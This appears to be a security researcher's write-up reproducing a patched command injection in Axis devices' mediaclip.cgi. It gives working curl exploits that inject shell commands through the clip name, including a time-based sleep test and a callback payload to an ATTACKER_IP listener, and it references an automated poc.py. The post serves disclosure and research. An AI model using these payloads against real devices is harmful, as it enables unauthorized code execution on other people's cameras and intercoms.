← all research

AXIS OS: Command Injection in mediaclip.cgi via the Clip Name

High 2026-10-14 Axis Communications (AXIS OS) CVE-2025-11142 fixed in 12.7.36 Axis advisory (PDF)

Summary

CVE-2025-11142 is an OS command injection in mediaclip.cgi, the VAPIX endpoint that manages the audio clips Axis devices can play (announcements, alarms, door greetings). The advisory, published 2026-02-10, says the endpoint “did not have a sufficient input validation” and that Axis “will not provide more detailed information about the vulnerability.” That is the whole public record: no root cause, no PoC.

This post is an independent reproduction. I found the bug again from the outside, black-box, against a device I own, and confirmed code execution with two independent techniques. It is n-day work: the fix (AXIS OS 12.7.36) shipped before I started, and the original find belongs to researcher 51l3nc3 via the AXIS OS Bug Bounty Program.

Background

VAPIX is Axis’s HTTP API surface. The media clip API lives at /axis-cgi/mediaclip.cgi and speaks HTTP Digest auth (Basic is rejected). Four actions matter: upload, update, play, remove. Each clip is addressed by an index, and update changes a clip’s display name, a free-text name parameter with no obvious restrictions.

The vulnerability

Black-box testing points at a simple mistake: the name value is passed, unsanitized, to a shell invocation on the device, most likely as part of an internal file-rename or processing step in the media clip subsystem. There is no source to read here, so the root cause is inferred from behavior, but the behavior is unambiguous: the full string is executed, not treated as an inert label.

One detail shapes the whole methodology: the HTTP response never echoes command output. Every request answers OK / Updating=0 no matter what the payload does. The bug is blind, so confirmation has to come from side channels: time, and the network.

Proof of concept

The update action needs an existing clip, so the PoC starts with a tiny placeholder WAV:

curl -s --digest -u "$USER:$PASS" --anyauth \
  -X POST "http://$TARGET/axis-cgi/mediaclip.cgi?action=upload&media=audio&name=testclip" \
  -F "file=@poc.wav;type=audio/wav"

Step 1, time-based confirmation. If the name is executed by a shell, an injected sleep should show up directly in the response time:

# control
curl -s --digest -u "$USER:$PASS" --anyauth -G "http://$TARGET/axis-cgi/mediaclip.cgi" \
  --data-urlencode "action=update" --data-urlencode "clip=0" \
  --data-urlencode "name=test;sleep 0;"

# injected
curl -s --digest -u "$USER:$PASS" --anyauth -G "http://$TARGET/axis-cgi/mediaclip.cgi" \
  --data-urlencode "action=update" --data-urlencode "clip=0" \
  --data-urlencode "name=test;sleep 8;"

The delayed request tracks the injected duration (about 0.3s baseline versus 8s), which is hard to explain any other way. I scaled the delays (0/3/6/8 seconds) and rotated injection syntaxes (;, &&, backticks, $(...)) to rule out coincidence; all of them execute.

Step 2, out-of-band callback. The strongest proof does not depend on timing at all. Start a listener and have the device call back to it:

# attacker host
nc -lvnp 4444

# payload
curl -s --digest -u "$USER:$PASS" --anyauth -G "http://$TARGET/axis-cgi/mediaclip.cgi" \
  --data-urlencode "action=update" \
  --data-urlencode "clip=0" \
  --data-urlencode "name=test;curl http://ATTACKER_IP:4444/rce_confirmed;"

An inbound HTTP request from the device’s IP with the curl User-Agent can only originate from a command that actually ran on the device. That is the confirmation the advisory’s “no known exploits” line never had.

Cleanup. action=remove&clip=0 restores the device state; the test clip is disposable by design.

The repository below ships poc.py, which automates the whole sequence (upload, timing check, callback listener, cleanup) against a target you specify:

usage: poc.py --target 192.168.1.100 --user admin --pass <pw> --callback-ip 192.168.1.50

Impact

Confirmed: arbitrary OS command execution as a low-privileged service account, after authenticating with an operator or administrator credential. Not confirmed, and not pursued: escalation from that service account to root; no SUID or further paths were explored beyond passive enumeration.

Two environmental factors make the bug more than a checkbox in practice. Axis devices are frequently deployed with default or weak admin credentials, and the entire client-side SPA that maps the VAPIX API surface, including this endpoint, is served without authentication, so the attack surface is trivially discoverable from the login page alone.

Timeline

  • 2025: reported by 51l3nc3 through the AXIS OS Bug Bounty Program.
  • 2026-02-10: Axis publishes advisory v1.0 and the fix, AXIS OS 12.7.36; no technical detail.
  • 2026-09: independent black-box reproduction and PoC tool published.
  • 2026-10-14: this write-up.

Credits and disclosure

This is n-day research: the fix was public before I looked, no report was filed by me, and the advisory’s own line about “no known exploits” is exactly why an independent, working PoC is worth documenting.